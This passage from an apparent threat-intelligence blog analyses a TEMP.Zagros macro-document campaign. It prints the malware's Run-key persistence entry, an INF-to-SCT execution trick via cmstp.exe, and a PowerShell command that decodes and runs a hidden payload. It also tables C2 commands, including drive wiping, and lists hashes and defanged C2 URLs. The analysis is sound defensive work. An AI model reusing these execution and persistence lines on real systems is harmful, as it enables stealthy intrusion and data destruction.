The second part of the campaign (from Feb. 27, 2018, to March 5, 2018) used a new variant of the macro that does not use VBS for PowerShell code execution. Instead, it uses one of the recently disclosed code execution techniques leveraging INF and SCT files, which we will go on to explain later in the blog.
We believe the infection vector for all of the attacks involved in this campaign are macro-based documents sent as an email attachment. One such email that we were able to obtain was targeting users in Turkey, as shown in Figure 4:
Figure 4: Sample spear phishing email
containing macro-based document attachment
The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey, Pakistan, Tajikistan and India. What follows is four examples, and a complete list is available in the Indicators of Compromise section at the end of the blog.
Figure 5 shows a document purporting to be from the National Assembly of Pakistan.
Figure 5: Document purporting to be from
the National Assembly of Pakistan
A document purporting to be from the Turkish Armed Forces, with content written in the Turkish language, is shown in Figure 6.
Figure 6: Document purporting to be from
the Turkish Armed Forces
A document purporting to be from the Institute for Development and Research in Banking Technology (established by the Reserve Bank of India) is shown in Figure 7.
Figure 7: Document purporting to be from
the Institute for Development and Research in Banking Technology
Figure 8 shows a document written in Tajik that purports to be from the Ministry of Internal Affairs of the Republic of Tajikistan.
Figure 8: Document written in Tajik that
purports to be from the Ministry of Internal Affairs of the Republic
of Tajikistan
Each of these macro-based documents used similar techniques for code execution, persistence and communication with the command and control (C2) server.
This scriptlet code execution technique leveraging INF and SCT files was recently discovered and documented in February 2018. The threat group in this recently observed campaign – TEMP.Zagros – weaponized their malware using the following techniques.
The macro in the Word document drops three files in a hard coded path: C:\programdata. Since the path is hard coded, the execution will only be observed in operating systems, Windows 7 and above. The following are the three files:
After dropping the three files, the macro will set the following registry key to achieve persistence:
\REGISTRY\USER\SID\Software\Microsoft\Windows\CurrentVersio
n\Run\"WindowsDefenderUpdater" = cmstp.exe /s c:\programdata\DefenderService.inf
Upon system restart, cmstp.exe will be used to execute the SCT file indirectly through the INF file. This is possible because inside the INF file we have the following section:
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,c:/programdata/Defender.sct
That section gets indirectly invoked through the DefaultInstall_SingleUser section of INF, as shown in Figure 9.
Figure 9: Indirectly invoking SCT through
the DefaultInstall_SingleUser section of INF
This method of code execution is performed in an attempt to evade security products. FireEye MVX and HX Endpoint Security technology successfully detect this code execution technique.
The code of the Defender.sct file is an obfuscated JavaScript. The main function performed by the SCT file is to Base64 decode the contents of WindowsDefender.ini file and execute the decoded PowerShell Script using the following command line:
powershell.exe -exec Bypass -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\\ProgramData\\WindowsDefender.ini)
The rest of the malicious activities are performed by the PowerShell Script.
The PowerShell script employs several layers of obfuscation to hide its actual functionality. In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools.
Some of the key obfuscation techniques used are:
Figure 10: Character replacement and
string reversing techniques
Figure 11: PowerShell script is XOR
encoded using a single byte key
After deobfuscating the contents of the PowerShell Script, we can divide it into three sections.
The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:
Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12.
Figure 12: DrAGon_MidDLe stores the list
of proxy URLs used to interact with C2 server
The second section of the PowerShell script has the ability to perform encryption and decryption of messages that are exchanged between the system and the C2 server. The algorithm used for encryption and decryption is RSA, which leverages the public and private key exponents included in Section 1 of the PowerShell script.
The third section of the PowerShell script is the biggest section and has a wide variety of functionalities.
During analysis, we observed a code section where a message written in Chinese and hard coded in the script will be printed in the case of an error while connecting to the C2 server:
The English translation for this message is: “Cannot connect to website, please wait for dragon”.
Other functionalities provided by this section of the PowerShell Script are as follows:
All of this data is concatenated and formatted as shown in Figure 13:
Figure 13: Concatenated and formatted
data retrieved by PowerShell script
While sending to the C2 server, the data is formatted as follows:
@{SYSINFO = $get.ToString(); ACTION = "REGISTER";}
Figure 14: System shut down upon
discovery of security tools
Figure 15: Disabling Microsoft Office
Protected View
Figure 16: Reboot, shut down and clean commands
The following table summarizes the main C2 commands supported by this PowerShell Script.
C2 Command | Purpose |
reboot | Reboot the system using shutdown command |
shutdown | Shut down the system using shutdown command |
clean | Wipe the Drives, C:\, D:\, E:\, F:\ |
screenshot | Take a screenshot of the System |
upload | Encrypt and upload the information from the system |
excel | Leverage Excel.Application COM object for code execution |
outlook | Leverage Outlook.Application COM object for code execution |
risk | Leverage DCOM object for code execution |
This activity shows us that TEMP.Zagros stays up-to-date with the latest code execution and persistence mechanism techniques, and that they can quickly leverage these techniques to update their malware. By combining multiple layers of obfuscation, they deter the process of reverse engineering and also attempt to evade security products.
Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.
SHA256 Hash | Filename | Targeted Region |
eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894 | na.doc
| Pakistan |
76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338 | Invest in Turkey.doc | Turkey |
6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac | güvenlik yönergesi. .doc | Turkey |
009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0 | idrbt.doc
| India |
18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6 | Türkiye Cumhuriyeti Kimlik Kartı.doc | Turkey |
3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb | Turkish Armed Forces.doc
| Turkey |
9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c | na.gov.pk.doc
| Pakistan |
3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115 | MVD-FORM-1800.doc |
Tajikistan |
cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88 | KEGM-CyberAttack.doc | Turkey |
1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942 | IL-1801.doc | Turkey |
aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627 | kiyiemniyeti.doc |
Turkey |
93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84 | TCELL-S1-M.doc | Tajikistan |
c87799cce6d65158da97aa31a5160a0a6b6dd5a89dea312604cc66ed5e976cc9 | egm-1.doc | Turkey |
2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13 | Connectel .pk.doc |
Pakistan |
18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd | gßvenlik_yÜnergesi_.doc | Turkey |
153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58 | MIT.doc | Turkey |
d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025 | Gvenlik Ynergesi.doc | Turkey |
af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102 | Gvenlik Ynergesi.doc | Turkey |
5550615affe077ddf66954edf132824e4f1fe16b3228e087942b0cad0721a6af | NA | Turkey |
3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c | Anadolu Güneydoğu Projesinde .doc | Turkey |
hxxp://alessandrofoglino[.]com//db_template.php
hxxp://www.easy-home-sales[.]co.za//db_template.php
hxxp://www.almaarefut[.]com/admin/db_template.php
hxxp://chinamall[.]co.za//db_template.php
hxxp://amesoulcoaching[.]com//db_template.php
hxxp://www.antigonisworld[.]com/wp-includes/db_template.php
hxxps://anbinni.ba/wp-admin/db_template.php
hxxp://arctistrade[.]de/wp/db_template.php
hxxp://aianalytics[.]ie//db_template.php
hxxp://www.gilforsenate[.]com//db_template.php
hxxp://mgamule[.]co.za/oldweb/db_template.php
hxxp://chrisdejager-attorneys[.]co.za//db_template.php
hxxp://alfredocifuentes[.]com//db_template.php
hxxp://alxcorp[.]com//db_template.php
hxxps://www.aircafe24[.]com//db_template.php
hxxp://agencereferencement.be/wp-admin/db_template.php
hxxp://americanlegacies[.]org/webthed_ftw/db_template.php
hxxps://aloefly[.]net//db_template.php
hxxp://www.duotonedigital[.]co.za//db_template.php
hxxp://architectsinc[.]net//db_template.php
hxxp://www.tanati[.]co.za//db_template.php
hxxp://emware[.]co.za//db_template.php
hxxp://breastfeedingbra[.]co.za//db_template.php
hxxp://alhidayahfoundation[.]co[.]uk/category/db_template.php
hxxp://cashforyousa[.]co.za//db_template.php
hxxps://www.airporttaxi-uk[.]co[.]uk/wp-includes/db_template.php
hxxp://antjetaubert[.]de//db_template.php
hxxp://hesterwebber[.]co.za//db_template.php
hxxp://fickstarelectrical[.]co.za//db_template.php
hxxp://alex-frost[.]com/assets/db_template.php
hxxps://americanbrasil[.]com.br//db_template.php
hxxps://aileeshop[.]com//db_template.php
hxxps://annodle[.]com//db_template.php
hxxp://goldeninstitute[.]co.za/contents/db_template.php
hxxp://ednpk[.]com//db_template.php
hxxp://www.arabiccasinochoice[.]com//db_template.php
hxxp://proeventsports[.]co.za//db_template.php
hxxp://glenbridge[.]co.za//db_template.php
hxxp://berped[.]co.za//db_template.php
hxxp://best-digital-slr-cameras[.]com//db_template.php
hxxp://antonhirvonen[.]com/pengalandet.se/wp-includes/db_template.php
hxxp://www.alpacal[.]com//db_template.php
hxxps://www.alakml[.]com/wp-admin/db_template.php
hxxp://ar-rihla[.]com//db_template.php
hxxp://appsvoice[.]info//db_template.php
hxxp://www.bashancorp[.]co.za//db_template.php
hxxp://alexanderbecker[.]net/services/db_template.php
hxxp://visionclinic.co.ls/visionclinic/db_template.php
hxxps://www.angelesrevista[.]com//db_template.php
hxxps://www.antojoentucocina[.]com//db_template.php
hxxp://apollonweb[.]com//db_template.php
hxxps://www.alphapixa[.]com//db_template.php
hxxp://capitalradiopetition[.]co.za//db_template.php
hxxp://www.generictoners[.]co.za//db_template.php
hxxps://alnahdatraining[.]com//db_template.php
hxxps://albousala[.]com//db_template.php
hxxps://www.dopetroleum[.]com//db_template.php
hxxp://bios-chip[.]co.za//db_template.php
hxxp://www.crissamconsulting[.]co.za//db_template.php
hxxp://capriflower[.]co.za//db_template.php
hxxp://www.dingaanassociates[.]co.za//db_template.php
hxxp://indiba-africa[.]co.za//db_template.php
hxxp://verifiedseller[.]co.za/js/db_template.php
hxxps://www.buraqlubricant[.]com//db_template.php
hxxp://aqarco[.]com/wp-admin/db_template.php
hxxp://allaboutblockchain[.]net//db_template.php
hxxp://www.amexcars[.]info/tpl/db_template.php
hxxp://clandecor[.]co.za/rvsUtf8Backup/db_template.php
hxxp://bakron[.]co.za//db_template.php
hxxp://gsnconsulting[.]co.za//db_template.php
hxxp://vumavaluations[.]co.za//db_template.php
hxxp://heritagetravelmw[.]com//db_template.php
hxxp://ampvita[.]com//db_template.php
hxxp://ahero-resource-center[.]org/administrator/db_template.php
hxxps://arbulario[.]com//db_template.php
hxxp://havilahglo[.]co.za/wpscripts/db_template.php
hxxp://www.bestdecorativemirrors[.]com/More-Mirrors/db_template.php
hxxp://delectronics[.]com[.]pk//db_template.php
hxxp://antucomp[.]com//db_template.php
hxxp://advocatetn[.]com/font-awesome/fonts/db_template.php
hxxps://amooy[.]com/webservice/db_template.php
hxxp://www.harmonyguesthouse[.]co.za//db_template.php
hxxp://alanrori[.]com//db_template.php
hxxp://algarvesup[.]com//db_template.php
hxxp://desirablehair[.]co.za//db_template.php
hxxp://comsip[.]org.mw//db_template.php
hxxp://jdcorporate[.]co.za/catalog/db_template.php
hxxp://andrewfinnburhoe[.]com//db_template.php
hxxp://anyeva[.]com/wp-includes/db_template.php
hxxp://www.agenceuhd[.]com//db_template.php
hxxp://host4unix[.]net/host24new/db_template.php
hxxp://www.altaica[.]ca/wordpress/db_template.php
hxxp://www.allbuyer[.]co[.]uk//db_template.php
hxxp://jvpsfunerals[.]co.za//db_template.php
hxxp://immaculatepainters[.]co.za//db_template.php
hxxp://tcpbereka[.]co.za/js/db_template.php
hxxp://clientcare.co.ls//db_template.php
hxxp://investaholdings[.]co.za/htc/db_template.php
hxxp://www.amjobs[.]co[.]uk//db_template.php
hxxp://www.agirlgonewine[.]com/store/db_template.php
hxxp://findinfo-more[.]com//db_template.php
hxxp://asgen[.]org//db_template.php
hxxp://alphasalesrecruitment[.]com//db_template.php
hxxp://irshadfoundation[.]co.za//db_template.php
hxxp://analternatif[.]com/includes/db_template.php
hxxp://arbruisseau[.]com/profiles/db_template.php
hxxp://ladiescircle[.]co.za//db_template.php
hxxp://all-reseller[.]com/zzz_backup/db_template.php
hxxp://alcatrazmoon[.]com/images/db_template.php
hxxp://www.alcalumni[.]com/wp-includes/db_template.php
hxxp://aniljoseph[.]com/servermon/db_template.php
hxxp://alwake3press[.]com/wp-includes/db_template.php
hxxp://www.hfhl[.]org.ls/habitat/db_template.php
hxxp://alcafricanos[.]com/slsmonographs/db_template.php
hxxps://agapeencounter[.]org//db_template.php
hxxp://apobiomedix[.]ca//db_template.php
hxxp://anythinglah[.]info//db_template.php
hxxp://aniroleplay[.]net//db_template.php
hxxp://www.allcopytoners[.]com//db_template.php
hxxp://alphaobring[.]com//db_template.php
hxxp://www.galwayprimary[.]co.za//db_template.php
hxxp://alnuzha[.]org/en/db_template.php
hxxps://ancient-wisdoms[.]com//db_template.php
hxxp://amazingenergysavings[.]net//db_template.php
hxxp://gvs[.]com[.]pk/font-awesome/db_template.php
hxxp://geetransfers[.]co.za/font-awesome/db_template.php
hxxp://carlagrobler[.]co.za/components/db_template.php
hxxp://amazingashwini[.]com//db_template.php
hxxp://aminearserver[.]es//db_template.php
hxxp://lensofafrica[.]co.za//db_template.php
hxxp://greenacrestf[.]co.za/video/db_template.php
hxxp://www.tonaro[.]co.za//db_template.php
hxxp://alephit2[.]biz/kitzz/db_template.php
hxxp://lppaportal[.]org.ls//db_template.php
hxxp://alkousy[.]com//db_template.php
hxxp://ambulatorioveterinariocalusco[.]com/img/common/db_template.php
hxxp://fragranceoil[.]co.za//db_template.php
hxxp://www.eloquent[.]co.za/nweb2/db_template.php
hxxp://chrishanicdc[.]org/wpimages/db_template.php
hxxp://ahc.me[.]uk//db_template.php
hxxp://www.britishasia-equip[.]co[.]uk//db_template.php
hxxp://always-beauty[.]ch//db_template.php
hxxps://www.ancamamara[.]com/wp-admin/db_template.php
hxxp://entracorntrading[.]co.za//db_template.php
hxxp://www.alexjeffersonconsulting[.]com/wp-includes/db_template.php
hxxp://americabr[.]com.br//db_template.php
hxxp://andrew-snyder[.]net/bootstrap/db_template.php
hxxp://signsoftime[.]co.za//db_template.php
hxxp://aperta-armis[.]org//db_template.php
hxxp://absfinancialplanning[.]co.za/images/db_template.php
hxxp://charispaarl[.]co.za//db_template.php
hxxp://indlovusecurity[.]co.za//db_template.php
hxxp://alcafricandatalab[.]com//db_template.php
hxxp://amor-clubhotels[.]com//db_template.php
hxxp://mokorotlocorporate[.]com//db_template.php
hxxp://apppriori[.]com//db_template.php
hxxp://luxconprojects[.]co.za//db_template.php
hxxp://androidphonetips[.]com/wp-includes/db_template.php
hxxp://angel-seeds[.]com.ua/catalog/db_template.php
hxxp://alissanicolai[.]com/assets/db_template.php
hxxps://www.amateurastronomy[.]org//db_template.php
hxxp://aiofotoevideo[.]com//db_template.php
hxxp://www.amika.hr//db_template.php
hxxp://comfortex[.]co.za/php/db_template.php
hxxp://deepgraphics[.]co.za//db_template.php
hxxps://agiledepot[.]com//db_template.php
hxxp://almatours[.]gr//db_template.php
hxxp://analystcnwang[.]com//db_template.php
hxxp://www.malboer[.]co.za/trendy1/db_template.php
hxxp://sefikengfarm.co.ls//db_template.php
hxxp://www.antirughenaturale[.]com/wp-admin/db_template.php
hxxp://passright[.]co.za//db_template.php
hxxp://seismicfactory[.]co.za//db_template.php
hxxp://alessandroalessandrini[.]it//db_template.php
hxxps://aquabsafe[.]com//db_template.php
hxxp://amatikulutours[.]com/tmp/db_template.php
hxxp://ganitis[.]gr//db_template.php
hxxp://aleenasgiftbox[.]com/admin/db_template.php
hxxps://allusdoctors[.]com/themes/db_template.php
hxxp://alainsaffel[.]com//db_template.php
hxxp://www.ariehandomri[.]com//db_template.php
hxxp://aquaneeka[.]co[.]uk/wp-includes/db_template.php
hxxp://itengineering[.]co.za/gatewaydiamond/db_template.php
hxxp://alldomains-crm[.]com/bubblegumpopcorn[.]com/wp-admin/db_template.php
hxxp://www.albertamechanical[.]ca//db_template.php
hxxp://alchamel[.]info//db_template.php
hxxps://almokan[.]net/wp-includes/db_template.php
hxxp://jakobieducation[.]co.za//db_template.php
hxxps://arc-sec[.]net//db_template.php
hxxp://ldams[.]org.ls/supplies/db_template.php
hxxp://menaboracks[.]co.za/tmp/db_template.php
hxxp://www.getcord[.]co.za//db_template.php
hxxp://boardaffairs[.]com//db_template.php
hxxp://capetownway[.]co.za//db_template.php
hxxp://cloudhostdesign[.]com//db_template.php
hxxp://hartenboswaterpark[.]co.za/templates/db_template.php
hxxp://fccorp[.]co.za/php/db_template.php
hxxp://angar68[.]com//db_template.php
hxxp://www.dws-gov[.]co.za//db_template.php
hxxp://alwahahweb[.]com//db_template.php
hxxp://anuragcreatives[.]com//db_template.php
hxxp://embali[.]co.za//db_template.php
hxxp://albertaedmonton[.]com/widgetstyles/db_template.php
hxxp://altosdefontana[.]com//db_template.php
hxxp://airfanhydro[.]net//db_template.php
hxxps://www.alexponcet[.]com/wp-includes/db_template.php
hxxp://agropecuariavilarica[.]com.br//db_template.php
hxxps://www.amazingbuyrd[.]com/admin/db_template.php
hxxp://cdxtrading[.]co.za//db_template.php
hxxp://interafricaconsulting[.]com/wpimages/db_template.php
hxxp://glgroup[.]co.za/images/db_template.php
hxxp://hisandherskennels[.]co.za/php/db_template.php
hxxp://alemaohost[.]com/lotosorg[.]com/db_template.php
hxxp://isibaniedu[.]co.za/admin/db_template.php
hxxp://dianakleyn[.]co.za/layouts/db_template.php
hxxp://themotoringcalendar[.]co.za//db_template.php
hxxp://www.loansonhomes[.]co.za//db_template.php
hxxp://edgesecurity[.]co.za/js/db_template.php
hxxp://highschoolsuperstar[.]co.za/files/db_template.php
hxxp://www.ambientproperty[.]com//db_template.php
hxxp://animationshowreel[.]co.il//db_template.php
hxxp://cafawelding[.]co.za/font-awesome/db_template.php
hxxp://apalawyers.pt//db_template.php
hxxp://www.edesignz[.]co.za//db_template.php
hxxp://centuryacademy[.]co.za/css/db_template.php
hxxps://ambyenta.hr//db_template.php
hxxp://ceramica[.]co.za//db_template.php
hxxp://www.alfredoposada[.]com//db_template.php
hxxp://anastasovsworkshop[.]com/wp-includes/db_template.php
hxxp://allisonplumbing[.]com/wp-includes/db_template.php
hxxp://eastrandmotorlab[.]co.za/fleet/db_template.php
hxxp://angelsongroup[.]com/wp-includes/db_template.php
hxxp://www.mikimaths[.]com//db_template.php
hxxp://hjb-racing[.]co.za/htdocs/db_template.php
hxxp://anotherpartofme[.]com/wp-includes/db_template.php
hxxp://www.andreabelfi[.]com//db_template.php
hxxp://www.iancullen[.]co.za//db_template.php
hxxp://alaskamaterials[.]com//db_template.php
hxxp://jeanetteproperties[.]co.za//db_template.php
hxxp://www.digitalmedia[.]co.za//db_template.php
hxxp://www.rejoicetheatre[.]com//db_template.php
hxxps://alterwebhost[.]com//db_template.php
hxxp://bc-u[.]co[.]uk//db_template.php
hxxp://dpscdgkhan.edu[.]pk/shopping/db_template.php
hxxp://edgeforensic[.]co.za//db_template.php
hxxp://willpowerpos[.]co.za//db_template.php
hxxp://antrismode[.]com/wp-includes/db_template.php
hxxp://colenesphotography[.]co.za/modules/db_template.php
hxxp://anthaigroup.vn//db_template.php
hxxps://alphainvestors[.]com.au//db_template.php
hxxps://aliart[.]nl//db_template.php
hxxps://allmantravel[.]com/thumbs/db_template.php
hxxp://fbrvolume[.]co.za//db_template.php
hxxp://amordegato[.]es/storefront/db_template.php
hxxp://agylub[.]com//db_template.php
hxxp://www.khotsonglodge.co.ls//db_template.php
hxxp://ampli5yd[.]com//db_template.php
hxxps://animeok[.]co.il//db_template.php
hxxps://arbeidsrechtcentrum[.]nl//db_template.php
hxxp://erniecommunications[.]co.za/js/db_template.php
hxxp://promechtransport[.]co.za/scripts/db_template.php
hxxp://centuriongsd[.]co.za//db_template.php
hxxp://www.agencesylvieleclerc[.]com//db_template.php
hxxp://delcom[.]co.za//db_template.php
hxxps://aleoestudio[.]com/gallonature/db_template.php
hxxp://oftheearthphotography[.]com/www/db_template.php
hxxp://h-dubepromotions[.]co.za//db_template.php
hxxp://www.alessioborzuola[.]com/downloads/db_template.php
hxxp://crystaltidings[.]co.za//db_template.php
hxxp://funeralbusinesssolution[.]com/email_template/db_template.php
hxxp://funisalodge[.]co.za/data1/db_template.php
hxxp://experttutors[.]co.za//db_template.php
hxxps://www[.]cartridgecave[.]co.za//db_template.php
hxxp://ecs-consult[.]com//db_template.php
hxxp://www.animationinisrael[.]org/tmp_images/db_template.php
hxxp://gideonitesprojects[.]com//db_template.php
hxxp://hybridauto[.]co.za/photography/db_template.php
hxxp://africanpixels.zar.cc//db_template.php
hxxp://ryanchristiefurniture[.]co.za//db_template.php
hxxp://evansmokaba[.]com/evansmokaba[.]com/thabiso/db_template.php
hxxp://almeriahotelja[.]com/dk/db_template.php
hxxp://al3abflash[.]biz//db_template.php
hxxp://www.fun4kidz[.]co.za//db_template.php
hxxp://alsharhanstore[.]com//db_template.php
hxxp://www[.]infratechconsulting[.]com//db_template.php
hxxp://algihad[.]com/assets/db_template.php
hxxp://americanwestmedia[.]com//db_template.php
hxxp://charliewestsecurity[.]co.za//db_template.php
hxxp://beehiveholdingszar[.]co.za//db_template.php
hxxp://analyticalfootball[.]com//db_template.php
hxxp://apiiination[.]com/leadership/db_template.php
hxxps://ahelicoptermom[.]com/wp-includes/db_template.php
hxxp://servicebox[.]co.za//db_template.php
hxxp://globalelectricalandconstruction[.]co.za/wpscripts/db_template.php
hxxps://aquo[.]in//db_template.php
hxxps://www.alfransia[.]com/wp-admin/db_template.php
hxxp://www.icsswaziland[.]com//db_template.php
hxxp://aiko.pro//db_template.php
hxxps://alceharfield[.]com//db_template.php
hxxp://indocraft[.]co.za/test/db_template.php
hxxp://allegiancesecurity[.]org//db_template.php
hxxp://sullivanprimary[.]co.za//db_template.php
hxxp://www.apmequestrian[.]com//db_template.php
hxxps://alphawaves[.]org/wp-admin/db_template.php
hxxp://www.alexandrasternin[.]com/illustration/db_template.php
hxxp://www.daleth[.]co.za//db_template.php
hxxp://jwseshowe[.]co.za/assets/db_template.php
hxxp://winagainstebola[.]com//db_template.php
hxxp://anubandh[.]in//db_template.php
hxxp://www.alexanderhomestead[.]com//db_template.php
hxxp://alfatek-intelligence[.]com//db_template.php
hxxp://www.aprendiendoencasa[.]com/wp-includes/db_template.php
hxxp://alorabrownies[.]com/wp-admin/db_template.php
hxxp://andrasadam[.]com/tothildiko/wp-includes/db_template.php
hxxp://cazochem[.]co.za/cazochem/db_template.php
hxxp://debnoch[.]com/image/db_template.php
hxxp://hmholdings360[.]co.za//db_template.php
hxxp://iinvest4u[.]co.za//db_template.php
hxxp://burgercoetzeeattorneys[.]co.za//db_template.php
hxxp://anngrigphoto[.]com//db_template.php
hxxp://alchemistasonida[.]com//db_template.php
hxxp://anahera[.]biz/admin/db_template.php
hxxp://h-u-i[.]co.za/heiren/db_template.php
hxxp://insta-art[.]co.za//db_template.php
hxxp://muallematsela[.]com//db_template.php
hxxp://aguasdecastilla[.]com/uploads/db_template.php
hxxp://www.arabgamenetwork[.]com//db_template.php
hxxps://arhiepiscopiabucurestilor[.]ro/templates/db_template.php
hxxp://amruthavana[.]com/blog/db_template.php
hxxp://digitalblue[.]co.za//db_template.php
hxxps://www.alvarezarquitectos[.]com//db_template.php
hxxp://buboobioinnovations[.]co.za/wpimages/db_template.php
hxxp://andrewsbisom[.]com//db_template.php
hxxp://www.m-3[.]co.za//db_template.php
hxxp://beesrenovations[.]co.za/images/db_template.php
hxxps://www.apliety[.]co.il/wp-includes/db_template.php
hxxp://alchamelup[.]org/htdocs/db_template.php
hxxp://benonicoc[.]co.za/resources/db_template.php
hxxps://al-mostakbl[.]com//db_template.php
hxxp://alchimiegrafiche[.]net/bbdelteatro/db_template.php
hxxp://andrespazsoldan[.]com//db_template.php
hxxp://in2accounting[.]co.za//db_template.php
hxxp://aipa[.]ca//db_template.php
hxxp://alphabee.fund/PHPMailer_5.2.0/db_template.php
hxxp://arabsdeals[.]com//db_template.php
hxxps://archiotronic[.]com/wp-includes/db_template.php
hxxp://capewindstrading[.]co.za//db_template.php
hxxps://althurayaa[.]com//db_template.php
hxxp://jhphotoedits[.]co.za//db_template.php
hxxp://cloudhub.co.ls/modules/db_template.php
hxxp://apironco[.]com/wp-includes/db_template.php
hxxp://digital-cameras-south-africa[.]co.za/script/db_template.php
hxxp://ahmadhasanat[.]com//db_template.php
hxxp://alexrocchi[.]com//db_template.php
hxxp://aljaadi[.]com//db_template.php
hxxps://www.engeltjieakademie[.]co.za//db_template.php
hxxp://annabelle[.]nl/next/db_template.php
hxxp://juniorad[.]co.za/vendor/db_template.php
hxxp://animationpulse[.]net//db_template.php
hxxp://angloglot[.]com//db_template.php
hxxp://agricolavicuna.cl//db_template.php
hxxp://alexelgy[.]com/allaccess/db_template.php
hxxp://www.centreforgovernance[.]uk//db_template.php
hxxp://www.aliandconsulting[.]com//db_template.php
hxxp://balaateen[.]co.za/less/db_template.php
hxxp://aleksicdunja[.]com//db_template.php
hxxp://arestihome[.]com//db_template.php
hxxp://am1int.fcomet[.]com/wp1/db_template.php
hxxp://anet-international-group[.]com/shop/db_template.php
hxxp://courtesydriving[.]co.za/js/db_template.php
hxxp://annaplebanek[.]com//db_template.php
hxxp://agencijazemil[.]com//db_template.php
hxxp://airminumtiro[.]com//db_template.php
hxxp://www.androidwikihow[.]com//db_template.php
hxxp://alisabyfinna[.]com//db_template.php
hxxp://rma-law[.]co.za//db_template.php
hxxp://amari[.]ro/components/db_template.php
hxxp://anxiousandunstoppable[.]com//db_template.php
hxxp://www.buhlebayoacademy[.]com//db_template.php
hxxp://arabellajo[.]com/wp/wp-includes/db_template.php
hxxp://blackthorn[.]co.za//db_template.php
hxxp://alaqaba[.]com/dnsarabia[.]com/db_template.php
hxxp://airesis.blog/wp-admin/db_template.php
hxxp://www.aptibet[.]org//db_template.php
hxxp://alecattic[.]com/wp-includes/db_template.php
hxxp://anglero[.]com//db_template.php
hxxp://getabletravel[.]co.za/wpscripts/db_template.php
hxxp://www.allwestdental[.]com/wp-includes/db_template.php
hxxp://printernet[.]co.za//db_template.php
hxxp://genesisbs[.]co.za//db_template.php
hxxp://allsporthealthandfitness[.]com//db_template.php
hxxp://www.humorcarbons[.]com//db_template.php
hxxp://intelligentprotection[.]co.za//db_template.php
hxxp://amazethings[.]com//db_template.php
hxxp://incoso[.]co.za/images/db_template.php
hxxp://www.antoanetapalikarska[.]com//db_template.php
hxxps://www.alteaparadise[.]com/wp-includes/db_template.php
hxxp://amirmenahem[.]com//db_template.php
hxxp://isound[.]co.za//db_template.php
hxxp://www.alestilorachel[.]com//db_template.php
hxxp://alcfm[.]net/wp-admin/db_template.php
hxxp://www.acer-parts[.]co.za//db_template.php
hxxp://www.gsmmid[.]com//db_template.php
hxxp://skhaleni[.]co.za//db_template.php
hxxps://amiici.vision//db_template.php
hxxps://andihaas[.]at/wp-includes/db_template.php
hxxp://www.albertaprimebeef[.]com//db_template.php
hxxps://www.appster[.]it/wp-includes/db_template.php
hxxp://amofoundation[.]org/wp-includes/db_template.php
hxxp://iqra[.]co.za/pub/db_template.php
hxxp://thecompasssolutions[.]co.za//db_template.php
hxxp://archwaycarpetscrm[.]co[.]uk//db_template.php
hxxp://iggleconsulting[.]com//db_template.php
hxxps://angel-blanco[.]net/wp-includes/db_template.php
hxxps://anotherdayinparadise[.]ca//db_template.php
hxxp://www.bitp[.]co.za//db_template.php
hxxp://cupboardcure[.]co.za/vendor/db_template.php
hxxp://all2wedding[.]com/wp-includes/db_template.php
hxxp://allianz[.]com.pe/wp-admin/db_template.php
hxxp://amiehepperlin[.]com//db_template.php
hxxps://www.amighini[.]it/webservice/db_template.php
hxxp://broken-arrow[.]co.za//db_template.php
hxxp://www.ihlosiqs-pm[.]co.za//db_template.php
hxxp://alisimple[.]si/wp-includes/db_template.php
hxxp://allthat[.]social//db_template.php
hxxp://www.amphibiblechurch[.]com//db_template.php
hxxp://bestencouragementwords[.]com//db_template.php
hxxp://alayhamtechnologies[.]com//db_template.php
hxxps://alaskanharvestseafood[.]com/backup/db_template.php
hxxps://www.air-mag[.]ro//db_template.php
hxxp://get-paid-for-online-survey[.]com//db_template.php
hxxp://www.antc[.]ch/wp-includes/db_template.php
hxxp://firstchoiceproperties[.]co.za//db_template.php
hxxp://habibtextiles[.]pk//db_template.php
hxxp://fsproperties[.]co.za/engine1/db_template.php
hxxp://diegemmerkat[.]co.za//db_template.php
hxxp://molepetravel.co.ls//db_template.php
hxxp://mmetl[.]co.za//db_template.php
hxxp://altrablog[.]com//db_template.php
hxxp://abrahamseed[.]co.za//db_template.php
hxxp://www.amerindgen[.]com/author/admin1/db_template.php
hxxp://altcoinaddict[.]com//db_template.php
hxxp://iiee.edu[.]pk//db_template.php
hxxp://cmhts[.]co.za/resources/db_template.php
hxxp://domesticguardians[.]co.za/Banner/db_template.php
hxxps://amishcountryfurnishings[.]com//db_template.php
hxxps://allday[.]gr//db_template.php
hxxp://www.alinn-u-yin[.]com//db_template.php
hxxps://www.allin-chain[.]com//db_template.php
hxxps://www.anatapackaging[.]com/vendors/db_template.php
hxxp://alexcelts[.]com/wp/db_template.php
